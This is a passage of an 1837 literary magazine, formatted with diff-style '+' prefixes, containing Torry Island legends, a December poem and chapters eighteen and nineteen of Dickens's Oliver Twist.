+the place of my offended patron, and has actually introduced me to a
+publisher, for whom I am just now engaged in editing a new edition of
+facetiæ, in two volumes quarto, comprising the complete reminiscences
+of the celebrated Joseph Miller.
+
+
+
+
+LEGENDS.
+
+THE LEGEND OF BALLAR.
+
+
+The most ancient of the kings of Torry was Ballar the Dane. If
+tradition does him no injustice, a worse specimen of royalty could
+not be found among the Holy Alliance. His manners were anything but
+amiable; his temper violent; his disposition sanguinary and revengeful;
+while, in his notions regarding the doctrines of "meum and tuum," there
+was not a looser gentleman of his day.
+
+In personal appearance Ballar was dark, stern, and gigantic; and, in
+an excess of her bounty, Nature had been graciously pleased to gift
+him with a third eye. This extra optic was placed in the back of his
+head; and such was the malignity of its influence that one glance
+extinguished animal life, a forest was withered by a look, and all
+those bare and herbless hills upon the mainland which lie in scattered
+groups beneath the scathed pinnacles of Arygle, may--if tradition
+can be trusted--date their barrenness to an optical visitation they
+underwent from their dangerous neighbour the king of Torry. As, even in
+the darkest character some lighter shading may be found, Ballar,--to
+give the devil his due,--perfectly aware of the destructive properties
+of his third eye, kept it carefully concealed by a curtain.
+
+Ballar had "one fair daughter, and no more," and an oracle had foretold
+that, unless killed by his grandson, he should exist for ever.
+Determined to outlive Methuselah, Ballar resolved on leaving his native
+country, and seeking out some abiding place where the celibacy of the
+young lady might be secured. Accordingly he set out upon his travels,
+and, after an extensive tour, visited Donegal, and chose Torry for
+his residence; and, faith! a _nater_ spot for a gentleman who wished
+retirement could not have been selected. There he built a castle for
+himself, and a prison for his daughter. To "make all right," the young
+lady was placed under the _surveillance_ of twelve virgins; whence the
+latter were obtained, history doth not say.
+
+Ballar's nearest neighbours on the main were called Gabshegonal, and
+Kien Mac Caunthca. The latter was possessed of two brave boys, while
+the former was owner of a white heifer: Glassdhablecana, or "the
+grey-flanked cow," was the envy of the country. Nothing from Dingle
+to Donegal could match her; she was a dairy in herself; and Ballar,
+regardless of justice, and not having the fear of the going judge
+of assize before him, determined to abstract her if he could. Like
+other autocrats, he found no difficulty in trumping up a title, for
+he asserted that those resident on the mainland were his vassals, and
+claimed and exacted certain seignorial rights, which, much to the
+satisfaction of persons entering into matrimony, have been allowed to
+sink into desuetude.
+
+Like those of all bad monarchs, his ministers were no better than
+himself; and the chiefs of his household, Mool and Mullock, were worthy
+agents of their three-eyed master. As his demand upon Gab's cow had
+been peremptorily rejected, the tyrant of Torry determined to obtain
+by fraud, what force could not effect; and Mool and Mullock received
+instructions accordingly.
+
+Ballar's intentions having transpired, Gabshegonal assumed the
+defensive, and called to his assistance the sons of Kien Mac Caunthca.
+Gab, it appears, was the most celebrated sword-cutler of his day,
+and he promised to forge a weapon for each of the young men; they
+undertaking, in return, to watch the grey-flanked cow for a given time.
+
+The elder of the Mac Caunthcas performed his part of the contract
+with the smith, and obtained the promised sword; and the younger
+commenced watch and ward in turn. For some time his vigilance secured
+the white cow; but, unhappily, it occurred to the youth that it would
+be desirable to have his name engraved on the sword-blade which Gab
+was then polishing. He ran to the forge to make his wishes known; and,
+short as his absence was, alas! upon his return the cow was gone!
+The spoilers were discovered from the top of Arygle; the younger Mac
+Caunthca observed Mool and Mullock driving Glassdhablecana along the
+beach; and, without his being able to overtake them, they embarked for
+Torry with their prey. Enraged at the occurrence, the smith retained
+the elder brother as a hostage, and swore that, if the cow were not
+recovered, he would behead him, to avenge her loss.
+
+The unhappy watchman, overwhelmed with grief and shame, fled from his
+home, and wandered recklessly along the rock-bound coast. To reach
+Torry was impossible, and he abandoned himself to sorrow and despair.
+
+Suddenly, a little red-haired man appeared unexpectedly at his elbow,
+and with sympathetic civility inquired the cause of his lamentations.
+Mac Caunthca informed him of the misfortune, and the red dwarf offered
+his condolence, and volunteered to assist him to reach the island. Mac
+embraced the little gentleman and his offer; and, having ascended the
+summit of Cruicknaneabth, he placed his foot upon the dwarf's hand, who
+rose with him into the air, and, passing over the small islands between
+Torry and the main, fast as the wind itself, landed in safety beneath
+the castle walls of Ballar. Both the youth and his conductor were "the
+nonce" rendered invisible. With little difficulty the cow was found;
+and the dwarf engaged that, ere morning, she should be safely returned
+to her lawful owner, the honest sword-cutler, Gabshegonal.
+
+Whether the little gentleman with the red beard preferred daylight
+for his aërial trips, does not appear; but, certain it is, that his
+_protegé_ remained that night upon the island, and was introduced by
+the obliging dwarfs to the prison of the princess, where he remained
+until dawn broke. Safely was he then conducted to the place he had
+left on the preceding evening. The red man took an affectionate leave.
+The grey-flanked cow was before him at the owner's. His brother was
+released; the promised sword honestly delivered by the maker; and the
+whole adventure ended prosperously.
+
+Time rolled on. Nine months had elapsed since his visit to the island,
+when the young Mac Caunthca was honoured by a call from the little
+red gentleman, who requested his company to make a morning call upon
+the imprisoned princess. They crossed the arm of the sea with the
+same rapidity that marked their former flight; and, on entering the
+well-remembered tower, what was Mac Caunthca's delight and surprise
+on finding that he was the father of a large and healthy family! The
+princess had just given birth to a son; and the twelve young ladies,
+following, as in duty bound, the example of their mistress, had each
+produced "a chopping boy."
+
+But, alas! the pleasures of paternity were speedily ended. Ballar
+detested children. Twins would drive a Malthusian distracted; and what
+apology could be offered for thirteen? Nothing remained but to remove
+the young Mac Caunthcas in double-quick; and the dwarf, with his usual
+good nature, proposed the means. A curragh[32] was procured; the tender
+pledges of the maids of honour were placed in a blanket, and fastened
+by skewers upon the back of their papa, while the heir to the throne
+was accommodated in a separate cloth; and with this precious freight
+the curragh was launched upon the ocean.
+
+Presently the wind freshened, the sea rose, and the frail bark was
+tossed upon the surface of an angry sea. In the fury of the gale the
+skewers that secured the blanket gave way; overboard went the progeny
+of the virgin body-guard; and the young Mac Caunthca reached the
+mainland with a single son, the heir-presumptive to the throne of Torry.
+
+It may be imagined that the care of an infant would have become a very
+troublesome charge upon the lover of the island princess; but here,
+too, the red man stood his friend. The dwarf volunteered to educate the
+child seven years, then hand him over to his father for seven more,
+when he, Red-beard, would again receive him for other seven; and thus
+the grandson of the three-eyed monarch would be disposed of, during
+nonage. It was done. The boy grew apace; and, indoctrinated at the feet
+of a gifted Gamaliel like little Red-beard, it is not surprising that
+the heir of Torry became a finished gentleman.
+
+His first appearance in public is stated to have been at a country
+wedding; and there Ballar, attended by Mool and Mullock, and his
+customary suite, was punctual to claim his prerogative. Shocked at
+the immorality of his grandfather, the dwarf's _protegé_ remonstrated
+with the old gentleman in vain; and, to strengthen his arguments,
+imprudently confessed the degree of relationship in which they stood.
+Furious at the discovery, the ancient sinner determined on the youth's
+destruction; he raised his hand to uncurtain the third eye, but his
+grandson burst from the house, and ran for shelter to the forge of
+his relative, Gabshegonal. A hot pursuit took place. Ballar and his
+"tail" pressed the fugitive closely; and the youth had only time to arm
+himself with a heated bar, when his truculent relation, with his train,
+rushed in. Before the eye could be uncovered, by one lucky thrust
+the heir of Torry annihilated its evil influence, and thus proved
+satisfactorily that the worst of eyes is no match for red-hot iron.
+
+But, even in death, Ballar evinced no feelings of Christian
+forgiveness. Calling his grandson to his side, he requested that he
+would abridge his sufferings by cutting off his head; and then, by
+placing it upon his own, he assured him that all the knowledge he,
+Ballar, possessed, should directly be transferred to his grandson, and
+descend like an heir-loom in the family. With the first part of the
+request the young gentleman freely complied; but, being awake to the
+trickery of his grandsire, he prudently resolved to see what effect the
+head would have upon stone before he tried the experiment. The result
+proved that his suspicions were well-founded. A drop of poisonous
+matter fell from the head upon the rock; and a broken cliff is pointed
+out upon the island, said to have been disrupted by the head of Ballar
+resting on it.
+
+The remainder of the legend is happy, as it should be. The princess in
+due time became a wife; her son danced at the wedding; and the maids
+of honour were provided with husbands, and, though rather tardily,
+were "made honest women of" at last. No longer necessitated to commit
+their offspring to the ocean by the dozen, their progeny increased and
+multiplied; and from the Danish princess, and the virgin train who
+"bore her company," the present inhabitants of Torry believe themselves
+to be immediately descended.
+
+FOOTNOTE:
+
+[Footnote 32: A wicker boat covered with a horse-skin, much used by
+these islanders.]
+
+
+
+
+LEGEND OF THE CHURCH OF THE SEVEN.
+
+
+After a dreadful tempest, seven dead bodies, six of which were male
+and one female, were found upon the western shore of the island, with
+a stone curragh and paddle beside them: both the latter had been
+broken against the rocks. The inhabitants speedily collected, and a
+consultation took place as to the manner in which the bodies of the
+unknown strangers should be disposed of. The opinions of the islanders
+were divided: some proposed that they should be interred, others
+contended that they should be committed to the waves again; but it was
+unanimously resolved, that on no account should they be buried in the
+churchyard, as they might not have been true Catholics. To bury was
+the final determination. A grave was accordingly prepared, the seven
+corpses were indiscriminately thrown in, and the trench closed up.
+
+Next morning, to the great surprise of the islanders, the body of the
+female was found separated from those of her unfortunate companions,
+and lying on the surface of the ground. It was believed that the lady
+had been disinterred by that party who had opposed the bodies being
+buried on the island, and the corpse was once more returned to its
+kindred clay, and the grave securely filled up.
+
+The second morning came, and great was the astonishment of the
+inhabitants when it was ascertained that the same occurrence had taken
+place, and the grave had surrendered its dead. The body was inhumed
+once more, and, to guard against trickery, and secure the corpse from
+being disturbed, a watch was placed around the grave.
+
+But when the daylight broke on the third morning, lo! the body of
+the unknown had again burst its cerements, and lay once more upon
+the surface of the ground. The vigilance of the guard had proved
+unavailing, and the consternation of the islanders was unbounded. A
+grand conclave assembled, and, after much consideration and debate, it
+was decided that the departed female had been a _religieuse_; and, that
+as she had eschewed all communion with the coarser sex while living,
+so, true to her vows, even after death she had evaded the society of
+man. Believing her to be a gentlewoman of extra holiness, who had
+departed "in the pride of her purity," it was shrewdly conjectured
+that there was nothing to prevent her from working miracles. The sick
+were accordingly brought forward, and a touch from the blessed finger
+of the defunct nun--for such she proved--removed every malady the
+flesh is heir to, and left the island without an invalid. To atone for
+the irreverential mode in which the lady had been treated on former
+occasions, a magnificent funeral was decreed her; a stone monument
+was erected over the sainted remains; and, that posterity should not
+be excluded from the virtues of her clay, an opening was left in the
+south side of the tomb, whence the faithful could obtain a portion of
+her ashes, and the sick be cured of their ailments. It being considered
+that one so particular after death would not, when alive, have ventured
+upon sea with any but the servants of religion, the other six bodies
+were honourably interred, and a tomb raised to their memory, while "the
+Church of the Seven" was built to their joint honour, and dedicated to
+the whole.
+
+To this day the sanctity of the lady's grave remains unimpaired. The
+ashes retain their virtue; the pious resort thither to pray, the sick
+to procure relief from their sufferings. When it is necessary to obtain
+the holy dust for devout or medicinal purposes, application is made to
+the oldest member of a particular family, who have enjoyed from time
+immemorial the blessed privilege of dispensing the saint's clay. The
+name of the family is Doogan; and the reason why this high prerogative
+rests with this favoured lineage is, because their ancestors were the
+first converts of St. Colomb Kill, and the first of the islanders who
+received baptism at his hands.
+
+
+
+
+SOME ACCOUNT OF THE LEGENDS OF THE TORRY ISLANDERS.
+
+
+Torry Island, situated on the north-west coast of Ireland, is probably
+the least known of any of her Majesty's European possessions. Although
+so near the main, the communication is difficult and infrequent. The
+island has but one landing-place, and that can only be entered with
+leading winds, while, during the prevalence of the others, it is
+totally unapproachable.
+
+Within the memory of people still alive, the natives of Torry were
+idolaters. They were ushered into life, and quitted it for the grave,
+without either rite or ceremony. Marriage was, _à la Martineau_,
+nothing but "a civil contract," and their notions of the Deity, rude
+and untutored as Kamschatdales or New Zealanders. Latterly, priests
+from the main have occasionally landed on the island, and there
+introduced the formulæ of religion; but visits dependent on winds and
+waves are "few and far between," and the state of Torry may still be
+termed more than demi-savage. When some adventurous beadsman ventures
+on a clerical descent, during his brief sojourn he finds that his
+office is no sinecure: children are to be christened by the score;
+and couples, who took each other's words, to be married by the dozen.
+During the long interregnum, a large arrear of omitted ceremonies has
+accrued, and the daring clerk returns from this "ultima Thule" a weary,
+if not a wiser man.
+
+Nothing can be more wretched than the appearance of the island and its
+inhabitants: the one, cold, barren, and uncultivated; the other, ugly,
+dwarfish, and ill-shapen. The hovels are filthy to a degree; and all
+within and about Torry is so sterile and inhospitable, that a dread of
+being wind-bound deters even the hardiest mariner from approaching its
+rock-bound shores.
+
+That "holy men" should venture among the Heathen, is, as it ought
+to be; and that _savans_ will go desperate lengths to obtain bones,
+oyster-shells, and other valuable commodities, is equally true. For
+spiritual and scientific Quixotes, Torry opens an untried field;
+and any philosopher who can digest dog-fish, and possesses a skin
+impervious to entomological assaults, may here discover unknown
+treasures: none having yet been found--for none have sought them.
+
+It was, probably, expectations such as these that induced the late
+Sir Charles Geisecke to visit this unfrequented island. Whether his
+geological discoveries compensated his bodily sufferings, the gentleman
+who perpetrated his biography leaves a scientific mystery. Certain
+it is, that in after-life the worthy knight never touched upon this
+portion of his wanderings without shuddering at the recollection.
+
+Three days he sojourned among the aborigines, and three nights he
+sheltered in the chief man's hovel. He left Ards House[33] in good
+spirits, and fat as a philosopher should be; and when he returned, his
+own dog, had he possessed one, would not have recognised his luckless
+owner. He came out a walking skeleton, and the ablutions he underwent
+would have tried the patience of a Mussulman. He had lost sleep;
+well, that could be made up for. He lost condition; that too might be
+restored. But to lose hair, to be clipped like a recruit, and have his
+garments burned at the point of a pitch-fork,--these indeed would daunt
+the courage of the most daring entomologist.
+
+Pat Hegarty, the knight's guide, used to recount the sufferings they
+underwent. Their afflictions by day were bad enough; but these were
+nothing, compared to their nocturnal visitations. "My! what a place
+for fleas!" said an English _femme de chambre_ who happened to be an
+accidental listener. "How numerous they must have been!"
+
+"Numerous!" exclaimed the guide, "_mona mon diaoul_, if they had only
+pulled together, they would have dragged me out of bed!"
+
+Since the knight's excursion, Torry has been more frequently visited.
+In executing the Ordnance survey, a party of Sappers and Miners were
+encamped upon the island, and the engineer officer in command amused
+many of his solitary hours by collecting traditionary tales from the
+narration of an old man, who was far more intelligent than the rest
+of the inhabitants. The two foregoing legends were taken from the
+patriarch's lips, and they afford an additional proof of that fondness
+which man, in his savage state, ever evinces for traditions that are
+wonderful and wild.
+
+FOOTNOTE:
+
+[Footnote 33: _Ards_ is situated on the main, near the wild promontory
+of Horn Head, and is the seat of the Stewart family.]
+
+
+
+
+SONG OF THE MONTH. No. XII.
+
+December, 1837.
+
+
+    All hail to thee, thou good old boy, DECEMBER!
+    Sick of that sullen, sulky Dan November,
+        The very sight of thy bald, reverend, jolly,
+        Irreverend head, bright crown'd with holly,
+        Makes one forswear, as fudge, all melancholy,--
+    Thou gladdening, glowing, glorious old DECEMBER!
+
+    Grey Nestor of the Months! brethren eleven,
+    Joint heirs with thee of _Eighteen Thirty-seven_,
+        Knock'd up by Time, enjoy oblivious slumbers,--
+        Old Monthlies out of print--the scarce back numbers,
+        Sold out--not one a shop or shelf encumbers,
+    While thou art but just publish'd--"No. XII.--DECEMBER!"
+
+    "Hail, Thane of" Time!--thou genial, warm old sire
+    Of _Eighteen Thirty-eight_!--Yule log and sea-coal fire
+        Be thine, as glad burnt-offerings in thy praise;
+        Long nights--(thou dost not look for length of days)--
+        Be thine, old Joy, wassail'd in various ways
+    Of warm, bright welcome, to hail thy stay, DECEMBER!
+
+    Welcome once more, old Master of the Revels,--
+    PICKWICK of all the Pleasures!--The blue devils,
+        Blue looks, blue noses, hide their uncomely faces;
+        Old Gout throws by his crutch--tries cinquepaces;
+        And Youth and Age, Love, Joy, and all the Graces
+    Are getting parties up, to honour thee, DECEMBER!
+
+    Sir-Loins grow fatter; plums, like good St. Stephen,
+    Are suff'ring martyrdom; the spongy leaven
+        Is working puddingwards; old wines, choice cellars,
+        Old coats, new gowns, shawls, cloaks, clogs, logs, umbrellas,
+        Young girls, old girls, old boys, and old young _fellars_,
+    Are brushing up to welcome thee, DECEMBER!
+
+    Game, poultry, turkeys, pigs, and country cousins
+    The Town's great maw will swallow down by dozens;
+        Aunts, uncles, brothers, sisters, nieces, _nevies_,
+        Will all be book'd and brought up by "the heavies,"
+        With other birds of passage, in large levies,
+    On Christmas-day, to honour thee, DECEMBER!
+
+    Bright hearths, bright hearts, bright faces, and bright holly
+    Will welcome thee, and make thy sojourn jolly!
+        The merry misletoe, in hall and kitchen,
+        Will make the ugliest of mugs bewitchin';
+        And who won't kiss them, may he die a ditch in,
+    For he's no friend of thine, warm-hearted old DECEMBER!
+
+    Once more, all hail! with all thy sports and pastimes,
+    Though few old sports are left us in these last times!--
+        May one fair Virgin Girl--the loved at sight one--
+        Twelve days from Christmas-tide, her heart a light one,
+        As Queen, choose her a King, and choose the right one,
+    To our great joy, and hers, agreeable old DECEMBER!
+
+        C.W.
+
+
+
+
+OLIVER TWIST;
+
+OR, THE PARISH BOY'S PROGRESS.
+
+BY BOZ.
+
+ILLUSTRATED BY GEORGE CRUIKSHANK.
+
+
+CHAPTER THE EIGHTEENTH.
+
+HOW OLIVER PASSED HIS TIME IN THE IMPROVING SOCIETY OF HIS REPUTABLE
+FRIENDS.
+
+About noon next day, when the Dodger and Master Bates had gone out
+to pursue their customary avocations, Mr. Fagin took the opportunity
+of reading Oliver a long lecture on the crying sin of ingratitude,
+of which he clearly demonstrated he had been guilty to no ordinary
+extent in wilfully absenting himself from the society of his anxious
+friends, and still more in endeavouring to escape from them after
+so much trouble and expense had been incurred in his recovery. Mr.
+Fagin laid great stress on the fact of his having taken Oliver in and
+cherished him, when without his timely aid he might have perished with
+hunger; and related the dismal and affecting history of a young lad
+whom in his philanthropy he had succoured under parallel circumstances,
+but who, proving unworthy of his confidence, and evincing a desire
+to communicate with the police, had unfortunately come to be hung at
+the Old Bailey one morning. Mr. Fagin did not seek to conceal his
+share in the catastrophe, but lamented with tears in his eyes that the
+wrong-headed and treacherous behaviour of the young person in question
+had rendered it necessary that he should become the victim of certain
+evidence for the crown, which, if it were not precisely true, was
+indispensably necessary for the safety of him (Mr. Fagin), and a few
+select friends. Mr. Fagin concluded by drawing a rather disagreeable
+picture of the discomforts of hanging, and, with great friendliness and
+politeness of manner, expressed his anxious hope that he might never be
+obliged to submit Oliver Twist to that unpleasant operation.
+
+Little Oliver's blood ran cold as he listened to the Jew's words, and
+imperfectly comprehended the dark threats conveyed in them: that it
+was possible even for justice itself to confound the innocent with the
+guilty when they were in accidental companionship, he knew already; and
+that deeply-laid plans for the destruction of inconveniently-knowing,
+or over-communicative persons, had been really devised and carried
+out by the old Jew on more occasions than one, he thought by no means
+unlikely when he recollected the general nature of the altercations
+between that gentleman and Mr. Sikes, which seemed to bear reference to
+some foregone conspiracy of the kind. As he glanced timidly up, and met
+the Jew's searching look, he felt that his pale face and trembling
+limbs were neither unnoticed nor unrelished by the wary villain.
+
+[Illustration: Master Bates explains a Professional Technicality]
+
+The Jew smiled hideously, and, patting Oliver on the head, said that
+if he kept himself quiet, and applied himself to business, he saw they
+would be very good friends yet. Then taking his hat, and covering
+himself up in an old patched great-coat, he went out and locked the
+room-door behind him.
+
+And so Oliver remained all that day, and for the greater part of many
+subsequent days, seeing nobody between early morning and midnight, and
+left during the long hours to commune with his own thoughts; which,
+never failing to revert to his kind friends, and the opinion they must
+long ago have formed of him, were sad indeed. After the lapse of a week
+or so, the Jew left the room-door unlocked, and he was at liberty to
+wander about the house.
+
+It was a very dirty place; but the rooms up stairs had great high
+wooden mantel-pieces and large doors, with paneled walls and cornices
+to the ceilings, which, although they were black with neglect and
+dust, were ornamented in various ways; from all of which tokens Oliver
+concluded that a long time ago, before the old Jew was born, it had
+belonged to better people, and had perhaps been quite gay and handsome,
+dismal and dreary as it looked now.
+
+Spiders had built their webs in the angles of the walls and ceilings;
+and sometimes, when Oliver walked softly into a room, the mice would
+scamper across the floor, and run back terrified to their holes: with
+these exceptions, there was neither sight nor sound of any living
+thing; and often, when it grew dark, and he was tired of wandering
+from room to room, he would crouch in the corner of the passage by the
+street-door, to be as near living people as he could, and to remain
+there listening and trembling until the Jew or the boys returned.
+
+In all the rooms the mouldering shutters were fast closed, and the
+bars which held them were screwed tight into the wood; the only light
+which was admitted making its way through round holes at the top, which
+made the rooms more gloomy, and filled them with strange shadows.
+There was a back-garret window, with rusty bars outside, which had no
+shutter, and out of which Oliver often gazed with a melancholy face for
+hours together; but nothing was to be descried from it but a confused
+and crowded mass of house-tops, blackened chimneys, and gable-ends.
+Sometimes, indeed, a ragged grizzly head might be seen peering over the
+parapet-wall of a distant house, but it was quickly withdrawn again;
+and as the window of Oliver's observatory was nailed down, and dimmed
+with the rain and smoke of years, it was as much as he could do to
+make out the forms of the different objects beyond, without making any
+attempt to be seen or heard,--which he had as much chance of being as
+if he had been inside the ball of St. Paul's Cathedral.
+
+One afternoon, the Dodger and Master Bates being engaged out that
+evening, the first-named young gentleman took it into his head to
+evince some anxiety regarding the decoration of his person (which, to
+do him justice, was by no means an habitual weakness with him;) and,
+with this end and aim, he condescendingly commanded Oliver to assist
+him in his toilet straightway.
+
+Oliver was but too glad to make himself useful, too happy to have some
+faces, however bad, to look upon, and too desirous to conciliate those
+about him when he could honestly do so, to throw any objection in the
+way of this proposal; so he at once expressed his readiness, and,
+kneeling on the floor, while the Dodger sat upon the table so that he
+could take his foot in his lap, he applied himself to a process which
+Mr. Dawkins designated as "japanning his trotter-cases," and which
+phrase, rendered into plain English, signifieth cleaning his boots.
+
+Whether it was the sense of freedom and independence which a rational
+animal may be supposed to feel when he sits on a table in an easy
+attitude, smoking a pipe, swinging one leg carelessly to and fro, and
+having his boots cleaned all the time without even the past trouble of
+having taken them off, or the prospective misery of putting them on, to
+disturb his reflections; or whether it was the goodness of the tobacco
+that soothed the feelings of the Dodger, or the mildness of the beer
+that mollified his thoughts, he was evidently tinctured for the nonce
+with a spice of romance and enthusiasm foreign to his general nature.
+He looked down on Oliver with a thoughtful countenance for a brief
+space, and then, raising his head, and heaving a gentle sigh, said,
+half in abstraction, and half to Master Bates,
+
+"What a pity it is he isn't a prig!"
+
+"Ah!" said Master Charles Bates. "He don't know what's good for him."
+
+The Dodger sighed again, and resumed his pipe, as did Charley Bates,
+and they both smoked for some seconds in silence.
+
+"I suppose you don't even know what a prig is?" said the Dodger
+mournfully.
+
+"I think I know that," replied Oliver, hastily looking up. "It's a
+th--; you're one, are you not?" inquired Oliver, checking himself.
+
+"I am," replied the Dodger. "I'd scorn to be anythink else." Mr.
+Dawkins gave his hat a ferocious cock after delivering this sentiment,
+and looked at Master Bates as if to denote that he would feel obliged
+by his saying anything to the contrary. "I am," repeated the Dodger;
+"so's Charley; so's Fagin; so's Sikes; so's Nancy; so's Bet; so we all
+are, down to the dog, and he's the downiest one of the lot."
+
+"And the least given to peaching," added Charley Bates.
+
+"He wouldn't so much as bark in a witness-box, for fear of committing
+himself; no, not if you tied him up in one, and left him there without
+wittles for a fortnight," said the Dodger.
+
+"That he wouldn't; not a bit of it," observed Charley.
+
+"He's a rum dog. Don't he look fierce at any strange cove that laughs
+or sings when he's in company!" pursued the Dodger. "Won't he growl at
+all, when he hears a fiddle playing, and don't he hate other dogs as
+ain't of his breed! Winkin! Oh, no!"
+
+"He's an out-and-out Christian," said Charley.
+
+This was merely intended as a tribute to the animal's abilities, but it
+was an appropriate remark in another sense, if Master Bates had only
+known it; for there are a great many ladies and gentlemen claiming to
+be out-and-out Christians, between whom and Mr. Sikes's dog there exist
+very strong and singular points of resemblance.
+
+"Well, well!" said the Dodger, recurring to the point from which they
+had strayed, with that mindfulness of his profession which influenced
+all his proceedings. "This hasn't got anything to do with young Green
+here."
+
+"No more it has," said Charley. "Why don't you put yourself under
+Fagin, Oliver?"
+
+"And make your fortun' out of hand?" added the Dodger, with a grin.
+
+"And so be able to retire on your property, and do the genteel, as I
+mean to in the very next leap-year but four that ever comes, and the
+forty-second Tuesday in Trinity-week," said Charley Bates.
+
+"I don't like it," rejoined Oliver timidly; "I wish they would let me
+go. I--I--would rather go."
+
+"And Fagin would _rather_ not!" rejoined Charley.
+
+Oliver knew this too well; but, thinking it might be dangerous to
+express his feelings more openly, he only sighed, and went on with his
+boot-cleaning.
+
+"Go!" exclaimed the Dodger. "Why, where's your spirit? Don't you take
+any pride out of yourself? Would you go and be dependent on your
+friends, eh?"
+
+"Oh, blow that!" said Master Bates, drawing two or three silk
+handkerchiefs from his pocket, and tossing them into a cupboard,
+"that's too mean, that is!"
+
+"_I_ couldn't do it," said the Dodger, with an air of haughty disgust.
+
+"You can leave your friends, though," said Oliver, with a half-smile,
+"and let them be punished for what you did."
+
+"That," rejoined the Dodger, with a wave of his pipe,--"that was all
+out of consideration for Fagin, 'cause the traps know that we work
+together, and he might have got into trouble if we hadn't made our
+lucky; that was the move, wasn't it, Charley?"
+
+Master Bates nodded assent, and would have spoken, but that the
+recollection of Oliver's flight came so suddenly upon him, that the
+smoke he was inhaling got entangled with a laugh, and went up into his
+head, and down into his throat, and brought on a fit of coughing and
+stamping about five minutes long.
+
+"Look here!" said the Dodger, drawing forth a handful of shillings and
+halfpence. "Here's a jolly life! what's the odds where it comes from?
+Here, catch hold; there's plenty more where they were took from. You
+won't, won't you? oh, you precious flat!"
+
+"It's naughty, ain't it, Oliver?" inquired Charley Bates. "He'll come
+to be scragged, won't he?"
+
+"I don't know what that means," replied Oliver, looking round.
+
+"Something in this way, old feller," said Charley. As he said it,
+Master Bates caught up an end of his neckerchief, and, holding it erect
+in the air, dropped his head on his shoulder, and jerked a curious
+sound through his teeth, thereby indicating, by a lively pantomimic
+representation that scragging and hanging were one and the same thing.
+
+"That's what it means," said Charley. "Look how he stares, Jack;
+I never did see such prime company as that 'ere boy; he'll be the
+death of me, I know he will." And Master Charles Bates having laughed
+heartily again, resumed his pipe with tears in his eyes.
+
+"You've been brought up bad," said the Dodger, surveying his boots
+with much satisfaction when Oliver had polished them. "Fagin will make
+something of you, though; or you'll be the first he ever had that
+turned out unprofitable. You'd better begin at once, for you'll come
+to the trade long before you think of it, and you're only losing time,
+Oliver."
+
+Master Bates backed this advice with sundry moral admonitions of his
+own, which being exhausted, he and his friend Mr. Dawkins launched into
+a glowing description of the numerous pleasures incidental to the life
+they led, interspersed with a variety of hints to Oliver that the best
+thing he could do, would be to secure Fagin's favour without more delay
+by the same means which they had employed to gain it.
+
+"And always put this in your pipe, Nolly," said the Dodger, as the
+Jew was heard unlocking the door above, "if you don't take fogles and
+tickers----"
+
+"What's the good of talking in that way?" interposed Master Bates; "he
+don't know what you mean."
+
+"If you don't take pocket-hankechers and watches," said the Dodger,
+reducing his conversation to the level of Oliver's capacity, "some
+other cove will; so that the coves that lose 'em will be all the worse,
+and you'll be all the worse too, and nobody half a ha'p'orth the
+better, except the chaps wot gets them--and you've just as good a right
+to them as they have."
+
+"To be sure,--to be sure!" said the Jew, who had entered unseen by
+Oliver. "It all lies in a nutshell, my dear--in a nutshell, take the
+Dodger's word for it. Ha! ha! he understands the catechism of his
+trade."
+
+The old man rubbed his hands gleefully together as he corroborated the
+Dodger's reasoning in these terms, and chuckled with delight at his
+pupil's proficiency.
+
+The conversation proceeded no farther at this time, for the Jew had
+returned home accompanied by Miss Betsy, and a gentleman whom Oliver
+had never seen before, but who was accosted by the Dodger as Tom
+Chitling, and who, having lingered on the stairs to exchange a few
+gallantries with the lady, now made his appearance.
+
+Mr. Chitling was older in years than the Dodger, having perhaps
+numbered eighteen winters; but there was a degree of deference in
+his deportment towards that young gentleman which seemed to indicate
+that he felt himself conscious of a slight inferiority in point of
+genius and professional acquirements. He had small twinkling eyes, and
+a pock-marked face; wore a fur cap, a dark corduroy jacket, greasy
+fustian trousers, and an apron. His wardrobe was, in truth, rather out
+of repair; but he excused himself to the company by stating that his
+"time" was only out an hour before, and that, in consequence of having
+worn the regimentals for six weeks past, he had not been able to bestow
+any attention on his private clothes. Mr. Chitling added, with strong
+marks of irritation, that the new way of fumigating clothes up yonder
+was infernal unconstitutional, for it burnt holes in them, and there
+was no remedy against the county; the same remark he considered to
+apply to the regulation mode of cutting the hair, which he held to be
+decidedly unlawful. Mr. Chitling wound up his observations by stating
+that he had not touched a drop of anything for forty-two mortal long
+hard-working days, and that he "wished he might be busted if he wasn't
+as dry as a lime-basket!"
+
+"Where do you think the gentleman has come from, Oliver?" inquired the
+Jew with a grin, as the other boys put a bottle of spirits on the table.
+
+"I--I--don't know, sir," replied Oliver.
+
+"Who's that?" inquired Tom Chitling, casting a contemptuous look at
+Oliver.
+
+"A young friend of mine, my dear," replied the Jew.
+
+"He's in luck then," said the young man, with a meaning look at Fagin.
+"Never mind where I came from, young 'un; you'll find your way there
+soon enough, I'll bet a crown!"
+
+At this sally the boys laughed, and, after some more jokes on the same
+subject, exchanged a few short whispers with Fagin, and withdrew.
+
+After some words apart between the last comer and Fagin, they drew
+their chairs towards the fire; and the Jew, telling Oliver to come
+and sit by him, led the conversation to the topics most calculated to
+interest his hearers. These were, the great advantages of the trade,
+the proficiency of the Dodger, the amiability of Charley Bates, and the
+liberality of the Jew himself. At length these subjects displayed signs
+of being thoroughly exhausted, and Mr. Chitling did the same (for the
+house of correction becomes fatiguing after a week or two); accordingly
+Miss Betsy withdrew, and left the party to their repose.
+
+From this day Oliver was seldom left alone, but was placed in almost
+constant communication with the two boys, who played the old game with
+the Jew every day,--whether for their own improvement, or Oliver's, Mr.
+Fagin best knew. At other times the old man would tell them stories
+of robberies he had committed in his younger days, mixed up with so
+much that was droll and curious, that Oliver could not help laughing
+heartily, and showing that he was amused in spite of all his better
+feelings.
+
+In short, the wily old Jew had the boy in his toils; and, having
+prepared his mind by solitude and gloom to prefer any society to the
+companionship of his own sad thoughts in such a dreary place, was now
+slowly instilling into his soul the poison which he hoped would blacken
+it and change its hue for ever.
+
+
+CHAPTER THE NINETEENTH.
+
+IN WHICH A NOTABLE PLAN IS DISCUSSED AND DETERMINED ON.
+
+It was a chill, damp, windy night, when the Jew, buttoning his
+great-coat tight round his shrivelled body, and pulling the collar up
+over his ears so as completely to obscure the lower part of his face,
+emerged from his den. He paused on the step as the door was locked and
+chained behind him; and having listened while the boys made all secure,
+and until their retreating footsteps were no longer audible, slunk down
+the street as quickly as he could.
+
+The house to which Oliver had been conveyed was in the neighbourhood
+of Whitechapel; the Jew stopped for an instant at the corner of the
+street, and, glancing suspiciously round, crossed the road, and struck
+off in the direction of Spitalfields.
+
